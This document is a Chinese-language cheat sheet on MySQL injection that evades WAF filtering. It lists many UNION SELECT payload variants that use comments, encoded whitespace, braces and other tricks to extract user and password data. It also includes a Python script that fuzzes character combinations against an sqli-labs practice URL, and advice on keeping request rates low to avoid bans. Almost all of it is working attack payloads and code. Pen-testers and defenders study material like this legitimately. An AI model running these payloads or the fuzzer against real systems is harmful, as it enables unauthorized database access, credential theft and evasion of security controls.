MySQL绕过小结
字数 670 2025-08-18 11:35:44
MySQL注入绕过技术详解
0x01 前言
本文总结了MySQL注入中各种绕过WAF(Web应用防火墙)的技术手段,围绕SQL语句中的五个关键位置进行详细分析,并提供实际示例和FUZZ方法。
0x02 SQL注入关键位置分析
在SQL注入中,可以将每个SQL关键字两侧可插入的点称为"位",主要分为五个关键位置:
位置一:关键字前
-
注释符
/**/union select 1,user,3 from admin /*!50000union*/ select 1,user,3 from admin -
空白符
- 可使用
%09,%0a,%0b,%0c,%0d,%20,%a0等
1%0aunion select 1,user,3 from admin - 可使用
-
科学计数法
2e0 union select 1,user,3 from admin 1.union select 1,user,3 from admin 1'%1%2Eunion select user(),2%23 -
单引号双引号
1' 'xx'union select user(),2%23 1' ""union select user(),2%23 -
x@符号
-@ union select 1,2,3%23 %26@ union select 1,2,3%23 -@@new union select 1,2,3%23 -
{x key}
and {x -2} union select 1,2,3%23 and {x id} union select 1,2,3%23 -
其他
\Nunion select 1,2,3%23 null union select 1,2,3%23 -
函数
and MD5('a') union select 1,password,database() from users--+ and binary @ union select 1,password,3 from users--+
位置二:UNION和SELECT之间
-
空白符
union%0aselect 1,user,3 from admin -
注释
union/**/select 1,user,3 from admin -
括号
union(select 1,(password),3,4,5,6 from(users))%23 -
ALL | DISTINCT | DISTINCTROW
union ALL select 1,password,3 from users%23 -
函数分隔
union%23%0Aselect 1,password,3 from users%23 union-- xx%0Aselect 1,password,3 from users%23
位置三:SELECT和列名之间
-
空白符
select%091,password,3 from users%23 -
注释
select/**/1,password,3 from users%23 -
ALL | DISTINCT | DISTINCTROW
select ALL 1,password,3 from users%23 -
{} ()
select{x 1},password,3 from users%23 select(1),password,3 from users%23 -
符号
select+1,password,3 from users%23 select""a1,password,3 from users%23 select+@a1,password,3 from users%23 -
函数
select MD5('a')|1,2,database() from users--+ select reverse('xx'),password,3 from users%23
位置四:列名和FROM之间
-
空白符
select 1,2,user()%23from users--+ -
注释
select 1,2,user()/**/from users--+ -
反引号
select 1,2,password``from users``--+ -
花括号
select 1,2,{x password}from users--+ select 1,2,(password)from users--+ -
符号
select 1,user(),""from users--+ select 1,password,3e1from users--+
位置五:FROM和表名之间
-
空白符
select 1,2,user() from%0dusers--+ -
注释
select 1,2,user() from/**/users--+ -
花括号
select 1,user(),3 from(users)--+ select 1,user(),3 from{x users}--+
0x03 FUZZ技术
当单一绕过技术无效时,可以使用FUZZ方法尝试多种字符组合:
Python FUZZ脚本示例
import requests
import itertools
List = [
'%20', '%09', '%0a', '%0b', '%0c', '%0d', '%2d%2d',
'%23', '%a0', '%2D%2D%2B', '%5C%4E', '\\N'
]
count = 0
num = 2 # fuzz num个字符组合
target = 'http://localhost/sqli-labs-master/Less-1/?id=-1\''
for i in itertools.product(List, repeat=num):
count += 1
print(count, ':', len(List)**num)
str = ''.join((i))
payload = '{}union select 1,user(),3 from users%23'.format(str)
url = target + payload
req = requests.get(url=url)
if "root@localhost" in req.text:
print(url)
with open("result.txt", 'a', encoding='utf-8') as r:
r.write(str + "\n")
FUZZ建议
- 使用Burp Suite等工具进行自动化FUZZ
- 尝试2-3个字符的组合
- 降低请求频率以避免被ban
- 重点关注状态码为200的响应
0x04 总结
MySQL注入绕过技术主要围绕SQL语句的五个关键位置,通过插入各种特殊字符、注释、函数等方式来绕过WAF检测。实际应用中,往往需要结合多种技术并进行FUZZ测试才能找到有效的绕过方法。